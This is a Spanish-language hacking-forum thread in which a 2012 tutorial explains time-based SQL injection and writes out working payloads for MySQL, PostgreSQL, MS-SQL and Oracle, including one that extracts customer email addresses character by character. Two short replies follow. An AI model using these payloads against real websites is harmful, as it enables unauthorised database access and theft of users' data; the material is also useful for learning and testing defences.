Resultados 1 al 3 de 3

[Video Tutorial] Inyecciones SQL Basadas en Tiempo [by Socket_0x03]

  1. #1 [Video Tutorial] Inyecciones SQL Basadas en Tiempo [by Socket_0x03] 
    Iniciado
    Fecha de ingreso
    Aug 2014
    Mensajes
    1
    Descargas
    0
    Uploads
    0


    Inyecciones SQL Basadas en Tiempo by Socket_0x03

    Antes de Comenzar

    Nota: Para entender con claridad el contenido aquí expuesto se requieren conocimientos en las clásicas inyecciones SQL (SQLi basadas en errores), inyecciones SQL a ciegas, PHP y MySQL.

    Esta madrugada estaba pensando en crear un video tutorial relacionado con las vulnerabilidades a nivel de website ya que la mayoría de mis tutoriales están enfocados en los fallos a nivel de memoria. Entonces me dije a mi mismo: Si voy a crear un tutorial relacionado con los bugs a nivel web, este tiene que ser algo sofisticado y no algo básico como las típicas inyecciones SQL basadas en errores, las inyecciones SQL a ciegas, u otros bugs por el estilo; además, tiene que ser algo que no ronde mucho por la red y que muy pocas personas conozcan. Entonces se me prendió el bombillo y se me vino a la mente "las inyecciones SQL basadas en tiempo".

    Comenzamos

    Las inyecciones SQL basadas en tiempo (Time-Based SQL Injection) son una vulnerabilidad a nivel de website, en el cual un atacante usa Time-Delay (tiempo de parada en segundos) para realizar consultas a una base de datos y obtener información sensitiva como nombres de usuarios y passwords.

    Como sabrán, las clásicas inyecciones SQL sueltan información en el navegador del atacante, como por ejemplo los nombres de usuarios y passwords. Las inyecciones SQL a ciegas no muestran información (de la base de datos) en el navegador del atacante, pero el intruso se da cuenta de dichos datos por las respuestas positivas/negativas que aparecen en su navegador (por ejemplo, una respuesta positiva mostraría una imagen en el navegador y una negativa no la mostraría). En el caso de las inyecciones SQL basadas en tiempo, el atacante también se basa en respuestas positivas/negativas, pero en este caso el intruso usa time delay (tiempo de parada en segundos) para obtener información sensitiva de la base de datos. Por ejemplo, una respuesta positiva podría ser que el navegador tarde más de 10 segundos en cargar ya que se cargo el time delay de 10 segundos que se incluyo en la URL; por otro lado, una respuesta negativa podría ser que el navegador tarde 3 segundos o menos en cargar ya que no se cargo el time delay de 10 segundos.

    Vulnerable?

    En MySQL de las versiones anteriores a la 5.0.12, para saber si un servidor tal vez pueda ser vulnerable a las inyecciones SQL basadas en tiempo, se puede hacer una prueba similar a la siguiente:

    Se produce el Time-Delay (el navegador tarda en cargar):
    Código:
    http://www.website.com/index.php/if(1=1,BENCHMARK(100000000,MD5(1)),1)--
    No se produce el Time-Delay (el navegador no tarda en cargar):
    Código:
    http://www.website.com/index.php/if(1=9999,BENCHMARK(100000000,MD5(1)),1)--
    En MySQL de las versiones superiores a la 5.0.12, para saber si un servidor tal vez pueda ser vulnerable a las inyecciones SQL basadas en tiempo, se puede hacer una prueba similar a la siguiente:

    Se produce el Time-Delay (el navegador tarda en cargar):
    Código:
    http://www.website.com/index.php/if(1=1,sleep(10),0)--
    No se produce el Time-Delay (el navegador no tarda en cargar):
    Código:
    http://www.website.com/index.php/if(1=9999,sleep(10),0)--
    En PostgreSQL, para saber si un servidor tal vez pueda ser vulnerable a las inyecciones SQL basadas en tiempo, se puede hacer una prueba similar a la siguiente:

    Se produce el Time-Delay (el navegador tarda en cargar):
    Código:
    http://www.website.com/index.php/if(1=1,pg_sleep(10),0)--
    No se produce el Time-Delay (el navegador no tarda en cargar):
    Código:
    http://www.website.com/index.php/if(1=9999,pg_sleep(10),0)--
    Time Delay

    La primera inyección con resultados positivos que se aplica en el video es la siguiente:

    Código:
    backup.php/IF((SELECT%20ASCII(SUBSTR(customers_email_address,1,1))%20FROM%20customers%20WHERE%20customers_id=1)=109,BENCHMARK(100000000,MD5(1)),1)--%20.php?
    Si ya estudiaron sobre las clásicas inyecciones SQL (SQLi basadas en errores) y las inyecciones SQL a ciegas, no hace falta que explique lo básico (columnas, tablas, query, operadores, caracteres ASCII... etc.), aquí lo nuevo comienza desde la función BENCHMARK (el Time-Delay) para la derecha.

    A la hora de realizar un time delay (tiempo de parada en segundos), el atacante debe incluir un comando que pueda ser interpretado por la base de datos. En las inyecciones del video se uso el comando BENCHMARK porque la base de datos es MySQL y su versión es de las anteriores a la 5.0.12, en las cuales se puede usar BENCHMARK pero no se puede utilizar la función sleep. Cuando se trata de una base de datos MySQL superior a la versión 5.0.12, se puede usar el comando BENCHMARK o la función sleep.

    Si se trata de otras base de datos diferentes a MySQL, entonces el intruso debe utilizar otros comandos. Por ejemplo, en MS-SQL se puede utilizar el comando WAITFOR de una forma similar a la siguiente:
    Código:
    if(select user) = 'user' waitfor delay '0:0:9'
    En la base de datos PostgreSQL, para causar el time delay se debe utilizar el comando PG_SLEEP. Este podría ser usado de una forma similar a la siguiente:
    Código:
    backup.php/IF((SELECT%20ASCII(SUBSTR(customers_email_address,1,1))%20FROM%20customers%20WHERE%20customers_id=1)=108,pg_sleep(20),0)--
    En la base de datos Oracle es un poquito más complejo ya que a esta aplicación no se le creo un comando especifico para causar el time delay, sin embargo, un atacante podría causarla usando tácticas ingeniosas; por ejemplo, este podría usar la función UTL_HTTP para conectar a un servidor que no existe. Esta táctica de conectar a un servidor que no existe podría ser aplicada de una forma similar a la siguiente:
    Código:
    SELECT 't' ||Utl_Http.request('http://www.website.com') FROM dual WHERE (SELECT data_in_column FROM table WHERE data_in_column = 'Socket_0x03') = 'Socket_0x03'
    Por un lado, si los datos Socket_0x03 se encuentran dentro de la database Oracle, el navegador del atacante tardara en cargar y se producirá el time delay (tiempo de parada en segundos); por otro lado, si los datos Socket_0x03 no se encuentran dentro de la database Oracle, entonces no se producirá el time delay.

    Time-Delay en Rojo

    MySQL (versiones anteriores a la 5.0.12):
    Código:
    index.php/if(1=1,BENCHMARK(100000000,MD5(1)),1)--
    MySQL (versiones superiores a la 5.0.12):
    Código:
    index.php/if(1=1,sleep(10),0)--
    MS-SQL:
    Código:
    index.php/if(select user) = 'user' waitfor delay '0:0:9'
    PostgreSQL:
    Código:
    index.php/if(1=1,pg_sleep(10),0)--
    Count Time

    En las inyecciones SQL basadas en tiempo que se mostraron en el video, después del BENCHMARK vemos el 100000000, la cual es el count time; en otras palabras, la cantidad de tiempo que se sumara si la consulta a la database es positiva. Este count time hace que el navegador del atacante tarde aproximadamente unos 10 segundos en cargar. Al cambiar su valor, cambia la cantidad de tiempo que tarda el navegador del intruso en cargar. Cuando se trata de una base de datos MySQL superior a la versión 5.0.12, el count time se encuentra a la derecha de sleep y entre dos paréntesis. Al igual que el count-time de BENCHMARK, al cambiar su valor, cambia la cantidad de tiempo que tarda el navegador del intruso en cargar.

    Count-Time en Rojo

    MySQL (versiones anteriores a la 5.0.12):
    Código:
    index.php/if(1=1,BENCHMARK(100000000,MD5(1)),1)--
    MySQL (versiones superiores a la 5.0.12):
    Código:
    index.php/if(1=1,sleep(10),0)--
    MS-SQL:
    Código:
    index.php/if(select user) = 'user' waitfor delay '0:0:9'
    PostgreSQL:
    Código:
    index.php/if(1=1,pg_sleep(10),0)--
    Finalizando

    El tema de las inyecciones SQL basadas en tiempo es un tema amplio y sus técnicas de explotación dependen de los tipos y versiones de databases, las cuales pueden ser MySQL, SQL Server, Oracle, u otras. En este tutorial solamente estoy cubriendo unas pocas partes para que tengan una idea, así que si desean seguir ampliando sus conocimientos en este campo, les recomiendo que busquen más información y aprendan de forma autodidacta.



    Autor: Socket_0x03
    Fecha: 2012
    Citar  
     

  2. #2  
    Co-Admin HackHispano.com Avatar de clarinetista
    Fecha de ingreso
    Jan 2004
    Ubicación
    HackHispano/SM
    Mensajes
    7.773
    Descargas
    31
    Uploads
    8
    Gracias por el Post
    Citar  
     

  3. #3  
    Iniciado
    Fecha de ingreso
    Sep 2014
    Mensajes
    1
    Descargas
    0
    Uploads
    0
    Muy bien, ojala me pudieran ayudar
    Citar  
     

Temas similares

  1. Quiero capturar video juegos en video. Dudas
    Por half en el foro MULTIMEDIA
    Respuestas: 4
    Último mensaje: 30-11-2009, 20:21
  2. VCD con tiempo de reproduccion
    Por vladivx en el foro MULTIMEDIA
    Respuestas: 1
    Último mensaje: 18-04-2007, 18:42
  3. Hoy que hay tiempo
    Por Malher en el foro TELEVISION
    Respuestas: 2
    Último mensaje: 14-09-2006, 13:19

Marcadores

Marcadores